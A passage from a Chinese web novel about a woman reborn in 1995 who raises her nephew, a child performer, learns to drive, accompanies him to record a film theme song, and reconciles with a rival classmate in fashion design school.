关嘉言从沙发上爬了起来，“舅妈，我的房间在哪儿？” 江雪让他先穿上拖鞋，然后才带他去了卧室。 “哇！” 卧室门打开，第一眼看到的不是床，而是正对门口，靠墙摆放的巨大的玻璃展示柜。 这个玻璃柜是江雪专门找工人定制的，占了整整一面墙，柜子里又分成了几排几列，最上面的几个格子里已经放进了东西。 关嘉言仰着头走过去，指着最上面的格子问：“舅妈，那里面放的都是什么啊？” “第一个格子是你参加幼儿园周年庆的录像。”江雪一个一个指给他看，“第二个格子是言言给服装厂拍的模特照，第三个格子……” “我知道我知道。”关嘉言踮起脚，努力看清了里面的东西，“是我拍电影的照片！” 江雪：“真聪明，那你猜猜，第四个格子要放什么？” 关嘉言苦思冥想了一会儿，终于想到了，“是元旦汇演！” 市里举办一年一度的元旦汇演，红星小学往电视台报了个童声合唱的节目。本来选的是三年级以上的学生，但因为关嘉言在幼儿园的时候就上过电视，暑假又去外地拍电影，班主任就把他也推荐了过去。 关嘉言又开始期待明天，明天他要去电视台表演，前两天老师带他们去彩排，那里的舞台好大好大，还好高，下面有一排排的红凳子，能坐好多好多人。 关嘉言问：“舅妈，明天你和舅舅会去看我表演吗？” “当然会啊。” 按理说这种市级活动，哪怕是家长，没有邀请函也进不去演播厅。但巧的是，因为参加活动的人多，又有市级领导要来，电视台怕出什么问题，特意请了安保来维持秩序。 安泰接下了订单，顺便给江雪也要了张工作证，让她不仅能进去，还能进到后台。 “舅妈还用录像机给你录像，到时候刻成光盘，就摆在第四个格子里。”江雪不打算去后台，去参加节目的不止关嘉言自己，她去了，其他孩子的家长没去，不管原因是什么，总会有人觉得特殊对待。 关嘉言仰着头数格子，数到最后，脖子都酸了，“这么多格子啊，什么时候才能放满？” 江雪蹲下身，从背后目光盈盈的看着他。 怎么会多呢？这辈子的关嘉言也会演很多很多电影、电视剧，还会唱很多很多的歌，拿很多很多的奖。 “来喝醪糟汤圆。”关山越在厨房里喊了一声。 新家第一次开火，煮一锅甜汤，象征未来生活甜蜜。关嘉言吃了四五个小汤圆，又喝了满满一大碗糖水，还想吃，被江雪拦住了，“马上就要吃午饭了。” 和租房子不同，入住新房的第一天，要请亲朋好友来暖房。江雪和关山越分别请了自己的几个朋友，江雪请的是乔亚楠、崔丽丽和方娟，关山越请了董志勇一家，加起来刚好十个人。 乔亚楠是带着薇薇来的，一进门，就往关嘉言怀里塞了个大红包，“都不许推辞啊，这是给孩子的。” 董志勇也不逞多让，同样是大红包，还有台游戏机。关嘉言欢呼一声，连红包都顾不上了，立马带着薇薇和甜甜跑到客厅玩了起来。 最后来的是崔丽丽和方娟，两人都带了小礼物，进门后左脸写着“惊”，右脸写着“吓”，“江雪，你真的已经结婚了？” 江雪无奈道：“骗你们干什么，我都结婚两年了。”江雪又补充了一句，“我是在考上大学前结的婚，所以不算违规。” 现在的大学还不鼓励在校谈恋爱，甚至是明令禁止，更不允许在校学生结婚。江雪算是钻了个空子，她是考上之前结的，总不能为了上大学，让她再把婚给离了。 只不过关山越买的钻戒过于显眼，出于安全考虑，江雪没敢戴到学校招摇过市。况且她也没有到处去跟人说自己婚姻状况的爱好，只有崔丽丽和方娟和她关系亲近，她才随口提了一句。 崔丽丽赧然，她和方娟一直以为江雪是在跟她们开玩笑来着。 来的人多，关山越只下厨做了两三道菜，其余的都是让附近的餐馆做好送上来。 关嘉言如愿以偿的表演了自己准备已久的节目，乔雨薇拉着甜甜给他伴舞，欢声笑语当中，1995年到了—— 作者有话说：[害羞] 第五十二章 电影主题曲 1995年开年的第一件大事, 是江雪学车。 江雪上辈子没车，但早早就拿了驾照。当时她们寝室四个女生一起，只有她科目二和科目三是一把过的, 因此信心满满, “我肯定一把过。” 关山越把她送到教培中心，笑着说：“好。” 下了车, 刘文月正站在门口等她。江雪小跑过去。 刘文月也来学车。 董志勇把她带到驾培中心的时候，刘文月还不怎么情愿。 学车光是学费就要大几千，去了后还要跟教练赔笑脸说好话。再说她学车用处也不大, 她又不出去跟人谈生意, 难不成要开着车去菜市场买菜？那成什么？臭显摆的！ 自打董志勇在公司里也有了个业务经理的名头, 家里人看他们的眼神都变了。过分的话不会说, 酸还是要酸一下的。 过年的时候走亲戚, 甜甜特意带自己的玩具回去, 要跟兄弟姊妹们一起玩。最后走的时候几个玩具一个都没带走, 被另外几个孩子一人一个, 分的干干净净。甜甜被爷爷奶奶抓着, 哄着她说是送给他们的。 甜甜心大, 没当回事。回家路上, 才问刘文月什么是“臭显摆”。 刘文月心里起了疑，问甜甜是谁说的。甜甜说是大伯家的儿子。刘文月登时就来了气，叫董志勇直接掉头回去, 拉着大伯一家吵得天翻地覆, 玩具也拿回来。 大伯家还振振有词, 说孩子话怎么能当真。 孩子话，要不是大人说过，孩子哪懂得这些。 刘文月不想再叫人平添口舌, 董志勇却不在乎，“怎么不能开？哪条法律规定去菜市场不能开车？”把刘文月逗笑后，才正儿八经道：“甜甜要上小学，总不能还叫你骑自行车接送她，天气好还行，要是刮风下雨呢？有辆车方便的多。” 刘文月横了他一眼，说得好像甜甜是她自己的孩子一样，刮风下雨，难道他就不能劳动劳动？ 董志勇嘿嘿一笑，这才老实交代，是他从关山越那听说江雪要去学车，他跟着有样学样。 刘文月笑他是关经理的跟屁虫，关经理做什么，他就跟着做什么。 董志勇说：“跟屁虫怎么了？当初在战场上，要不是我跟的紧，我现在命都没有了。” 刘文月伸手去挽江雪的胳膊，伸出的手上戴着枚银白色的钻戒。 “江雪，关经理送你来的吧？”车子停的远，刘文月没看清开车的人是谁。 江雪点点头，刘文月捉狭的看她，眨眨眼，“感情好的呦，如胶似漆。” 江雪指了指她手上的钻戒，跟着调侃，“我这算什么，这才叫蜜里调油。” * 真正摸上方向盘，江雪就知道自己大话说早了。 短短二三十年，汽车技术更新迭代了不知道多少次。最关键的是，上辈子图方便，她学的是自动挡，现在只有手动挡，稍有不慎车子就会熄火。 考试内容倒是简单，既没有侧方停车，也没有直角转弯、S弯一类的项目。 但江雪还是学的很慢，这一慢，跳过中间过年放假的那几天，就慢到了四月底。 在江雪学车的这段时间，服装公司举办的全国青年服装设计大赛落下了帷幕。 徐琳琳的参赛作品获得了三等奖，学校挂横幅庆祝，学院领导也都喜气洋洋。新专业开设第二年就有学生在全国比赛中拿奖，说明他们学校未来可期嘛！ 相比之下，获奖者本人的反应可谓平平，一连几天都没在学校露面。反倒是江雪这个局外人，再次因为去年的参赛传闻成为了八卦的中心。 崔丽丽气不过，还跟人拌过几句嘴，“他们凭什么说江雪进不了决赛？徐琳琳自己不行，管别人什么事！” 江雪：“……” 假如崔丽丽能预知未来，就会知道这种行为叫做“拉踩”。 * 等江雪总算把驾照拿到手，关嘉言日思夜盼的电影，也终于有了消息。 冯康平导演打来电话，请关嘉言去京市给电影补几段台词配音。 和电视剧不同，大部分电视剧会找专业的配音演员直接配完全剧，电影会优先选择现场收音。 然而受拍摄环境的影响，现场录制的音频往往会有各种各样的噪音。在后期制作的时，声音剪辑师会尽可能的对噪音进行处理，保留现场收音，以便使电影显得更加真实。 但也有一些实在处理不了的，或者台词有所更改，就需要演员来录音棚重新录制。 关嘉言要补的配音并不多，只有几句台词。冯康平专门打电话来，是有另外一件事，请关嘉言参与到电影主题曲的演唱当中。 冯康平笑声爽朗，“言言那么会唱歌，我们要好好利用起来嘛。”冯康平是偶然间从电视上看到的关嘉言的唱歌表演。 红星小学的合唱队，在元旦汇演之后并没有解散，而是正式成立起来，就叫红星合唱团。红星合唱团上了电视，上了报纸，后来还在电视上跟市少年宫的合唱队打比赛。 江雪都不知道海市的电视台还能播到京市去。 关嘉言忙着上学，忙着唱歌，都把拍电影给忘到了脑后。江雪说要带他去海市配音，他还不明白是什么，但江雪说唱主题曲，他就知道是要去唱歌。 “舅妈，我要去唱什么歌啊？”他现在会唱十几首歌，有老师教的，也有在电视上学的，还有人拿自己抄的歌词本来找他，问那些歌他是不是都会唱。 江雪收拾好两人的行李，想了想，回答他的问题，“一首别人都没唱过的歌。” 关嘉言欢呼一声，跑出去找关山越炫耀去了。 现在的法定节假日只有元旦、春节、五一和国庆。时间最长的是春节，有七天，元旦和五一都只有一天。今年的五一假期刚好在周一，加上周六周日，能凑个三天小长假出来。 关山越开车送他们去机场。 时间紧，任务重，假期又是通行高峰期，江雪索性直接定了机票，从海市飞去京市只需要两个小时，就是机场普遍远离市中心，开车去机场也要一个多小时。零零总总加起来，早上从海市出发，中午才能抵达京市。 因此飞机起飞后，关山越给北京分公司打了个电话，让他们派辆车去机场接人。 * 上辈子的关嘉言并未参与到主题曲的演唱中，命运的翅膀轻轻扇动，在这里产生了些许微小的变化。 先录配音，关嘉言所饰演的角色台词并没有发生变化，录音师让关嘉言看了自己需要配音的片段，然后教他怎么说。关嘉言学的很快，台词又是当初记熟了的，因此只用了一个多小时就补完了台词。 随后才是主题曲的录制。 声乐老师带关嘉言去声乐室学歌，江雪站在外面等，透过窗户能看到他学的认真，连表情都变得严肃起来。 等了没一会儿，唐晓曦也来了，她作为女主角，要配音的台词更多。 江雪上次和她见面还是去年十一月份，中间打过几次电话，唐晓曦依旧忙着在不同的剧组之间试镜，结果有好有坏。江雪旁听侧击过几次，知道她还是单身。但也听她说起有个人正在追她，她不喜欢，为此还从家里搬了出来，因为家里人都被那个男的收买了。 “说我不嫁人赖在家里。”唐晓曦气鼓鼓的说：“我怎么赖在家里了？我演戏的钱，他们说的好听，说是帮我存着，存着存着就没有了。要不是春芽提醒我，我都不知道他们居然会拿我的钱去给我弟买摩托车！” 上辈子大约是没有这一出，这辈子有江雪和春芽横插一脚，唐晓曦在家里大闹一场。四千多块钱，最后只要回来不到一千，她拿着这一千块钱在外面租了个房子，不回家，也不跟家里人联系。 就连她大姐上门来劝，也被唐晓曦堵了回去。 大姐说：“女人哪有不嫁人的？那人年龄是大了点，但他对你多好啊，几十上百的东西说买就买。等你嫁给他，再生个儿子，他家的钱不都叫你捏到手里了？” 唐晓曦看着她大姐，简直像再看另外一个人，“姐，你怎么能说出这种话？” 他们家两个女儿，一个儿子，唐晓曦刚好是中间那个，还是个丫头片子。所以从小，唐晓曦最亲的人就是一手把她带大的大姐。别人的话唐晓曦不一定会听，但是大姐的话，唐晓曦是会听的。 但是这一次，唐晓曦不想听了。 她对大姐说：“我不要他的钱，我自己会赚钱。” 大姐冷笑，“你会赚钱？你赚的钱呢？” 这句话让唐晓曦彻底伤了心，一句话没说，直接起身把门一开，做出送客的架势。 大姐用一种她不懂的眼神看了她很久，最后站起身，朝她哼了一声，说：“家里人还会害你？你就是在外面跑野了，早知道，当初我就不该让你去演什么电视剧！” * 江雪一下子就注意到了唐晓曦剪短的头发，她问：“什么时候剪的？都没听你说过。” 唐晓曦的长相中本就带着股英气，头发剪短后，这种感觉愈发明显。 “前两天才剪的。”唐晓曦还不习惯自己的新发型，总是不自觉的抬手去摸，“我试镜了一个新剧组，在里面演女警察，导演说头发剪短更符合角色。” 江雪抱着胳膊，退后两步，认认真真的看了她好一会儿，点头道：“不错，很适合你。” 说话间，又有一个人到了，江雪抬头看去，只见来人三十岁上下，穿了套玫红色的宽肩西装，长至膝盖的西装裙，脖子上还系着根彩色丝巾。 江雪认出了对方的身份，导演特意请来唱主题曲的女歌星——武凌—— 作者有话说：[可怜] 第五十三章 一代人有一代人的偶像…… 武凌同样看到了江雪和唐晓曦, 大约是没想到会在这儿碰上不认识的人，愣了下。 江雪朝她浅浅一笑，“你好, 我是他——”江雪指了指声乐室里的关嘉言, “——的监护人。” “我是唐晓曦！” “武凌。”武凌没什么明星架子，朝两人点了点头, 便推开声乐室的门走了进去。 “啊啊啊！”唐晓曦激动的原地蹦了蹦，双手捂着脸，“是武凌！真是是她！武凌跟我说话了！” 江雪猝不及防被她吓了一跳, “啊？” 唐晓曦兴奋的脸都红了, “她可是武凌啊！你没有听过她的歌吗？我超级喜欢她！” 江雪不禁哑然, 随即将目光转向声乐室。 上辈子的江雪是在看《山外山》这部电影时, 意外得知了武凌的名字。那时候的她已经退圈多年, 歌坛被一个个新面孔占据, 或许还有人听到她的歌, 但很少有人再提起她的名字。 但将时间拉回到三十年前, 她才是粉丝心目中的当红明星。 一代人有一代人的偶像。 唐晓曦今天见到了喜欢的歌星, 让本来就话痨的她更是打开了话匣子, 也不管江雪有没有在听, 絮絮叨叨的说起武凌都唱过哪些歌。 “高中的时候我就喜欢她，那时候没钱，把买饭票的钱省下来, 就为了买磁带, 去音像店里听她的歌。”磁带买回来后还要藏起来, 不能被家里人发现，否则就是乱花钱。音像店里有武凌的大海报，有段时间, 唐晓曦还把自己的头发偷偷剪成了武凌同款。 唐晓曦跟江雪一起挤在声乐室的玻璃窗前往里面看，只不过江雪看的是关嘉言，她看的是武凌。 等武凌从声乐室出来，唐晓曦鼓足勇气上去要了个签名，只可惜没有照相机，她还想跟武凌拍张合照呢！ * 主题曲的词作者是《山外山》的编剧宋文芳，宋文芳和武凌是朋友，正因如此，《山外山》这个名不见经传的小剧组才能请来成名已久的武凌演唱主题曲。 学歌学了一天半，关嘉言进入录音棚，开始录制自己人生中第一首会公开发行的歌。 和上辈子一样，主题曲的演唱者还是武凌，关嘉言在里面主要起一个陪衬的作用。甚至一开始安排给他的歌词只有两句，还是武凌在排练过程中进行了调整，给他多加了几句歌词。 武凌对关嘉言的印象不错，录完歌，还问他要不要参加自己的演唱会。 武凌：“请你做特邀嘉宾。” 关嘉言问：“什么是特邀嘉宾？” “就是特别邀请你去我的演唱会上，和我一起唱歌。” 关嘉言又想问什么是演唱会了，但他动用了一下自己聪明的小脑瓜，觉得演唱会应该和元旦汇演差不多，是有和很多人看的表演，于是咧嘴一笑，露出缺了几颗牙的牙龈，“好啊，我去当特邀嘉宾。” 在旁边听着的江雪：“……” 武凌朝江雪点点头，当真和她交换了联系方式，又问：“江小姐是做什么的？” 江雪脸上带着微笑，“服装设计。” “难怪。”武凌笑了笑，她的长相和她的歌一样，都是温和大气的类型，“江小姐的衣着很有特点。” 江雪心念一动，她未来想朝高定礼服的方向发展，就是明星们参加活动会穿的那种。但明星们穿的又大都是奢牌高定…… 武凌不知道她心中所想，寒暄两句后，便带着自己的助理先走了。作为当红歌星，武凌的行程还是很繁忙的，完全是看在好友的面子上，才挤出来三天时间过来录制主题曲。 * “舅妈，什么时候才能看电影啊？” 从京市回来后，关嘉言又开始一天三遍的问江雪。 后期做到配音阶段，电影成片差不多就快要去送审了。送审通过后就能定排期，不管几十年前还是几十年后，电影上映前都是要做营销的，关嘉言也拍了海报，说不定马上就会出现在电影院和音像店里。 “等过完暑假。”江雪没再糊弄他，给了个比较确切的时间。 暑假在七月份，还有两个月，关嘉言长叹一口气。 一天又一天，等过完暑假，他都要上三年级了。 “那我能请薇薇他们去看电影吗？”关嘉言提出请求。 江雪点点头，“当然可以啊，你要请多少人？”自家孩子的第一部 电影，江雪打算等上映后在电影院多包几场，就是不知道现在有没有包场这个概念。 关嘉言说了几个名字，都是他在学校里的好朋友，最后还提到个叫刘鹏的，“刘鹏总说我骗人，说我根本没有拍电影，是在说大话。哼，我就不请他！” 江雪失笑，摸了摸他的头，“好。” 关嘉言盼着电影赶紧上映，江雪也没闲着，她要一边上课，一边给童心服装厂出新的设计图。 服装厂和服装店都步入正轨，不再像之前那样需要紧赶慢赶，江雪和乔亚楠商议过后，决定以后按照季度出新款，主打一个在精不在多。 经过一年多的合作，不光乔亚楠将自己的服装厂发展壮大，从一条生产线到十几条生产线，连江雪的小金库都丰厚了不少。加上她委托关山越替她在股市买进卖出，积攒下来的钱刚好够买车的首付。 付完首付，江雪的小金库基本上回归到了刚来海市的水平。好在她和乔亚楠的合作还在继续，不愁以后没有进账。 关山越本打算替她买车，被江雪拒绝，“你的钱拿去买房。”有什么比在95年买下海市的房子更重要呢？ 有车之后，江雪来回通勤更加方便。要是不用上早八，或者下午的课不多，还能接送关嘉言上下学。 空闲之余，江雪心里惦记着高定礼服的事，于是上课的时候画了几张女装设计图，没给任何人看，随手夹到了书里。 临近期末，像中外服装史和服装概论这样的理论课无疑是需要进行书面考试，缝纫考的是实训，还有节美术课，老师让他们交一份服装设计图，不限主题。 江雪打算把这几张女装设计图再揣摩揣摩，努力找出自己的风格，为下半年参加服装设计大赛做准备。 一边想一边走到了停车的地方，她怀里抱着书，还要拿钥匙开车门，一时间没拿稳，手里的东西胡啦啦掉了一地。 书页翻开，刚好一阵风吹过，夹进去的几张设计图从地上一跃而起翻滚向前，江雪“哎”了两声，只见设计图飘出去没多远，刚好落在一双白色坡跟凉鞋旁边。 凉鞋的主人弯下腰，一双纤长白皙的手伸出来，将设计图捡了起。 江雪抬头看去，看到了一个不算熟的熟人。 徐琳琳—— 作者有话说：[眼镜] 第五十四章 是对手，也可以是朋友 徐琳琳今天穿了条宝蓝色的衬衫长裙, 腰间系着一根白色细腰带，柔顺茂密的头发披散着，戴了顶和长裙同色系的遮阳帽, 怀里抱着课本。 整个人清清爽爽、落落大方, 像极了青春电视剧里那种长相好、家世好、成绩好，什么都好, 偏偏性格不是很好的角色。有人喜欢，也有人不喜欢。 江雪还发现，这次只有徐琳琳自己一个人, 不像上次在缝纫教室时, 身后呼啦啦跟着一群人。 服装设计大赛已经过去了两三个月。崔丽丽说, 自从比赛结果出来, 徐琳琳彻底从宿舍搬了出去。本来宿舍剩下的那几个人都是围着她转的, 整天琳琳长琳琳短, 好像离了徐琳琳就说不了话。 “现在又不一样了。”崔丽丽翻着服装杂志, 撇撇嘴, 露出个嫌弃的表情, “现在说徐琳琳脾气大, 看不起人, 还说她没本事只会吹牛皮。” “……”江雪不禁哑然，“她不是拿了三等奖吗？” 那可是全国三等奖，还不是大学生比赛, 而是全国青年大赛！ 就算是万里挑一的人才, 才国内这个地界上也能挑出十几万人来, 徐琳琳能拿到三等奖，在江雪看来是相当了不起的结果。 况且服装公司在报纸上刊登了获奖者名单，江雪买来看了, 拿到金奖的那个人，在未来会是国内某服装品牌的首席服装设计师。 业内有几个人能做到大品牌的首席！ 按照惯例，设计类比赛结束后都会对获奖作品进行展示，决赛时的时装表演江雪没去看，后来服装公司又搞了个时装展览，她特意叫上崔丽丽和方娟去参观。 在参观过程中，江雪切实体会到一句话，不管什么时候，时尚圈这群人，都是走在时代前沿的。 她用三十年后的眼光来审视这个时代，潜意识觉得这里的一切都是落后的。但现实恰恰相反，所谓的落后只是科技和生产力还没发展到一定地步，倘若再过一百年，那么1995和2015也没有多少区别。 况且，在追求美的道路上，自由和开放是亘古不变的主题。 “她们还打听你的事。”方娟也抱怨了一句。 几个人明里暗里的打听江雪住在哪儿，家里是干什么的，车是谁给买的。崔丽丽和方娟被问烦了，也不喜欢听她们说三道四，索性下了课就去缝纫教室，倒是叫她们把缝纫练得有模有样。 至于那几个人打听的事，崔丽丽和方娟一个字都没往外说，包括江雪已经结婚的事。她们是来上学的，又不是来跟人聊家长里短。 * 好在水泥地是干燥的，沾上灰拍两下就没有了。 江雪的目光落在被徐琳琳拿着的几张设计图上，她伸出手去，“谢谢，给我吧。” 徐琳琳把图纸还了回去，江雪接过，重新夹回书里。 风越来越大，卷起裙摆贴在腿上。徐琳琳没走，反而露出踟蹰的模样，似乎有些难为情，“你……” 江雪轻轻挑眉，注意到她的表情，“怎么了？” 徐琳琳定了定心，指了指江雪拿在手里的设计图，问道：“这是你画的？” “对。”江雪莞尔一笑，“刚好有时间，随手画了画。”看着徐琳琳犹豫的样子，江雪主动伸出橄榄枝，“要不要找个地方坐下说？” 徐琳琳一愣，“我吗？” “对。”江雪打开车门，示意她坐副驾驶，笑意中带着几分调侃，“敢不敢去？” * 江雪开车，带徐琳琳在街边找了家咖啡店。 几张设计图大大方方的摊开放在桌面上，徐琳琳一时无言，安静了好一会儿才说：“我以为你会讨厌我。” “怎么会。”江雪对徐琳琳的印象还真没有那么差，且不说她们只见过一面，不管是上辈子还是这辈子，徐琳琳的年纪都比她小。 大学生嘛，偶尔做出些清澈愚蠢的事情，也不是不能原谅。 徐琳琳抿唇，两颊却因为江雪的这句话慢慢红了起来。 “对不起。”徐琳琳说：“我欠你一句道歉，那件事，是我不对。” 营业员把她们点的咖啡送了上来，江雪端起来喝了一杯，苦的，要是能加点儿橙汁或者椰浆就好了。 放下杯子，江雪说：“我接受你的道歉。” 闻言，徐琳琳不由得笑了起来，“你跟我想象中一点儿都不一样。” 江雪没有问她想象中的自己是什么样子，反而问她，“你觉得自己和传言里一样吗？” 传言中的自己是什么模样，徐琳琳当然知道。她也知道那些话都是谁传出去的，那些跟在她身边的人。徐琳琳还知道那些人跟在她身边是因为什么，因为她的爸爸是服装公司的设计师，因为她妈妈做服装外贸生意。和她搞好关系，以后说不定就能扎到好工作。 徐琳琳的笑容往回收了收，下意识移开了视线，“传闻吗？我不知道。” 徐琳琳没说实话。 但她总是不说实话，比如她根本不喜欢那些人“替”她说话，却怕自己拒绝后会变得像小时候一样，被讨厌，被孤立。那些人跟着她的时候，她才会觉得自己拥有朋友。 她转移话题，将视线投向桌面，“就这么摆出来，你就不怕别人抄你的设计吗？” “你会抄吗？”江雪笑着看她，语气坦然，仿佛在问一个无关紧要的问题。 徐琳琳当即摇头，“我不会！” 江雪的语气更加轻松，“那我还怕什么呢？” 徐琳琳的性格是不好，过于自傲。但这种性格偏偏有一样好处，就是有些事是她不屑于去做的，例如抄袭别人的设计。她捡到江雪的设计图，没藏着也没掖着，直接来问江雪是不是她的设计。哪怕和江雪关系不好，还是接受邀请跟她一起出来喝咖啡。 徐琳琳捏着小勺子搅动杯子里的咖啡，“你的设计，很特别。” 江雪笑着摇了摇头，“其实没什么特别的，我只不过是采用了一些别人没用过的元素。” 徐琳琳好奇眨眼，“是什么？” 江雪点了点其中一张设计图，“民俗。” 他们的专业课里有中外服装史，但显而易见的是，当下的服装潮流更偏向海外。 不管是宽肩西装，又或者是一步裙，连衣裙，吊带裙。受影视作品的影响，社会上港风盛行一时，还有后来的韩流和日流，都是时代发展下时尚界的大风向。 直到十几年后，才会出现汉服复兴，并将汉元素以及民俗文化一步步融入日常生活。 在咖啡店里坐了一个多小时，直到店主要打样，两人才起身离开。 推开咖啡店的门出去，外面微风阵阵，五六月的风里已经裹挟了初夏的热度，徐琳琳将被风撩起的头发拨到耳后，最后问江雪道：“你会参加今年的设计大赛吗？” 江雪笃定点头，“当然会。” 徐琳琳的双眼在夜色中显得亮晶晶的，她朝江雪伸出手，“那我们赛场见。” * 和徐琳琳和会晤并未对江雪的生活造成什么影响，甚至连崔丽丽和方娟都对这件事一无所知。 又过了几天，江雪再见到徐琳琳时，发现她身后又一次跟了好几个人，似乎和以前并没有什么区别。 崔丽丽还记得上次的事，见状很不客气的翻了个白眼，又在江雪耳边小声嘀咕，“那几个人，前两天还在寝室说徐琳琳不好相处。” “嘘。”江雪竖起食指，又做了个拉拉链的动作，等崔丽丽不说话了，才开口问她，“老师让画的设计图，你画的怎么样了？” 提到作业，崔丽丽立马变得愁眉苦脸起来，“唉，在画了、在画了。” “老师说了，这是要作为期末成绩的。”江雪恐吓她，“你也不想挂科，明年跟着学弟学妹再学一年吧？” 有压力才会有动力，崔丽丽立马紧张起来，一手画笔，一手服装杂志，试图从中找到灵感。 然而设计这种东西只能靠自己，江雪也帮不了她的忙，只能在心里默默祝她好运。 * 时间一晃而过，几场考试过后，很快就到了放暑假的日子。 江雪去接期末考试结束的关嘉言，路上特意打包了一份儿童套餐。 关山越去京市出差，要两天后才能回来。早上出门时关嘉言对舅舅依依不舍，一不小心说漏了嘴，把大实话说了出来，“舅妈做饭，不好吃。” 江雪：“……” 关山越板着脸教训他，“不许这么说，舅妈要上学，要去学校接你，回来后还要给你做饭，很累，很辛苦。学校里老师是怎么教你的？要懂得什么？” “要懂得感恩。”关嘉言老老实实道歉，“对不起舅妈，我不应该那么说，舅妈不是故意把饭做的不好吃的。” 江雪：“…………” 还不如不说，之前还只是做饭不好吃，现在有种努力后发现自己白努力的挫败感。 炸鸡的香味还是很明显的，关嘉言一上车就闻到了，扒着副驾驶的座椅往前一看，就看到了肯德基的袋子。欢呼一声，立马调转方向，伸长胳膊搂住了驾驶座的江雪，“舅妈，我爱你！” 江雪哼哼一笑，恐怕是更爱炸鸡！—— 作者有话说：sorry，专业性的东西不要当真，都是我编的。以及，这篇文不会很长，大概就二十多万字，我这两天整理一下最后的大纲，所以只有一更[可怜] 第五十五章 大乌龙！ 放假第一天, 关嘉言早早从床上爬了起来，自己换好衣服，洗漱完, 又吃过早饭之后, 就眼巴巴的等着出门。 他们今天要去董叔叔家吃饭。 继关山越买房后，董志勇也动了买房的心思。 董志勇买房不是为了户口, 他和刘文月都是还是本地人，住的房子是当年董志勇的父母在国营厂里做工，厂里给分的福利房。后来政策允许出钱买断, 老两口就让退伍回来的董志勇出钱买下, 留给他当做婚房。 房子本身没什么问题, 但甜甜到了上小学的年纪, 刘文月考察过家附近的几所小学, 都不是很满意, 反倒是关嘉言正在读的红星小学很合她的心意。 唯一的问题是红星小学离他们住的地方太远, 刘文月拿定主意, 买房！ 礼尚往来, 除了大红包, 江雪还特意去商场买了套进口的芭比娃娃送给甜甜。小姑娘很喜欢, 双手捧着礼物盒，对江雪说谢谢。 看着甜甜，江雪不由得想起三年前的关嘉言来。 那时候的关嘉言还不爱说话, 不像现在, 一天至少有十个问题等着问她。并且只问她, 不问关山越。 江雪问他为什么，关嘉言回答的有理有据，“舅妈是大学生, 舅舅不是。” 江雪笑得直不起腰，笑完，就撺掇关山越也去读大学，“我听小胡说，安泰现在都优先招聘大学生，你作为老板，不应该以身作则？” 关山越一脸无奈，“我怎么读？”难不成也要他从高中读起？那他得等到下辈子才能考上大学。 “读个成人大学嘛。”江雪还是最近才知道，关山越是有高中毕业证的，江雪把下巴搁在他肩上，握着他的手晃了晃，“读工商管理，或者外语？以后跟外国人打交道，就用不着请翻译了。” 关山越对外语敬谢不敏，选了工商管理。 江雪一开始想的就是这个，关山越什么都好，就是不爱读书，据说上学那会儿看见书就头疼，被亲姐姐逼着上了高中，一毕业就跑去参军了。 江雪料定他会找理由拒绝，才在工商管理之外又加了外语这个选项。 两害取其轻，关山越必须选一个。 不过…… 关山越顺手就把学外语的任务指派给了董志勇，“大勇是业务经理，和外国人打交道的事情还得交给他。” 江雪：“……啊？” 实在是对不住了董志勇，没想到把他坑了进去。 * 参观过新房，董志勇招呼众人去饭店吃饭，“我是没有关哥的手艺，就不献丑了，咱们去外面吃好喝好。” 主要是董志勇请的人也多，江雪和关山越孤零零两个人，一个亲人都没有，自然省事。而董志勇这边，不管刘文月乐不乐意，都得捏着鼻子和亲戚们打交道。 刘文月暗暗给江雪吐苦水，“你不知道，我是没打算请他们的，可周围住的都是我公公婆婆的工友，打了十几年交道的。我们一动，他们就晓得了哇，话传话的就传到了我公公婆婆耳朵里，打了好几个电话来问怎么回事。说来认认门，免得以后走亲戚都不知道去哪里。” 结果来的时候都空着手，别说红包了，连颗大米都看不到。 刘文月说完又叹了口气，“唉，我真是羡慕你和关总，别的不说，最起码遇不上这些糟心事。” 江雪：“……” 江雪总不能说自己的糟心事早年三年前就被她一刀斩断了，只能找话安慰她，“董经理是拎得清的人，这不刚进门就叫出来了，等会儿去饭店，你带着甜甜，来跟我们坐一桌。” 不过江雪还是很能懂她的心情，刚刚参观新家的时候，一个八九岁的小男孩不听招呼，抬腿就往卧室跑，穿着外衣就躺倒了床上，要不是刘文月眼疾手快，那小男孩还想穿着鞋子往雪白的墙上蹬两脚。 好在吃饭是分开的，江雪和关山越在好友这一桌，只能远远听到那边吆五喝六，等到吃完饭要走的时候，董志勇已经醉的不轻，浑身冒着酒气。 董志勇是在外面跑业务的，酒量自然不一般，醉成这样，可见是被人灌了不少。 刘文月气的咬牙，江雪赶紧劝她，“不用送了，抓紧时间回去歇着，也叫董经理醒醒酒。” 几人在饭店门口分手，关山越同样略喝了几杯，远不到醉的程度。江雪把他赶去后座和关嘉言一起，自己拿了车钥匙开车，没注意到有人远远的看见了她。 * 看到江雪的人是徐琳琳，还有两个她的朋友，一男一女，都是国立纺织大学的学生，只是不同专业。 男生叫赵伟明，比徐琳琳高一届，是纺织工程专业的学生。服装设计第一届学生没有直系的学长学姐，所以从隔壁专业借了两个人过来做代班班长，赵伟明是其中之一。 徐琳琳之所以出名，是因为开学时他爸妈开了两辆车来送她上学。能在93年就开得起两辆车的家庭，哪里会是一般人。 因为这两辆车，徐琳琳一下子就在学校出了名，想认识她的人不计其数。赵伟明近水楼台先得月，从入学开始就对徐琳琳格外照顾，对她嘘寒问暖，鞍前马后。 赵伟明原本想的是和徐琳琳谈恋爱，等他毕业后就能顺理成章的进入服装公司，又或者去徐琳琳妈妈的外贸公司工作。徐琳琳是独生女，要是能和她结婚，未来就能白得一家公司。 赵伟明想的很美好，现实给了他狠狠一巴掌。想讨好徐琳琳的人岂止他一个，并且徐琳琳眼高于顶，赵伟明努力了将近两年，还是和其他人一样，跟在徐琳琳身边当个跟班。 去年学校里传服装设计专业又来了个和徐琳琳一样的学生，赵伟明还特意去打听过。然而打听来打听去，赵伟明只打听到对方叫江雪，不在学校住，偶尔会有车接送她上学，除此外什么都没打听到。 后来又有人传徐琳琳和江雪关系不好，赵伟明就歇了心思。江雪那边是什么情况还不知道，要是因为她再得罪了徐琳琳，两年功夫功亏一篑，就太得不偿失了。 眼下，看到江雪和一个男人从饭店出来，男人身边还跟着个和他七八分像的小男孩，赵伟明的眼睛咕噜噜一转，立马觉得自己抓住了江雪的把柄。 “琳琳，你看那个人是不是就是你们专业那个叫江雪的？”赵伟明赶紧开口，生怕被另一个女生抢了先。 徐琳琳当然也认出了江雪，但她横了赵伟明一眼，问道：”“你想说什么？” 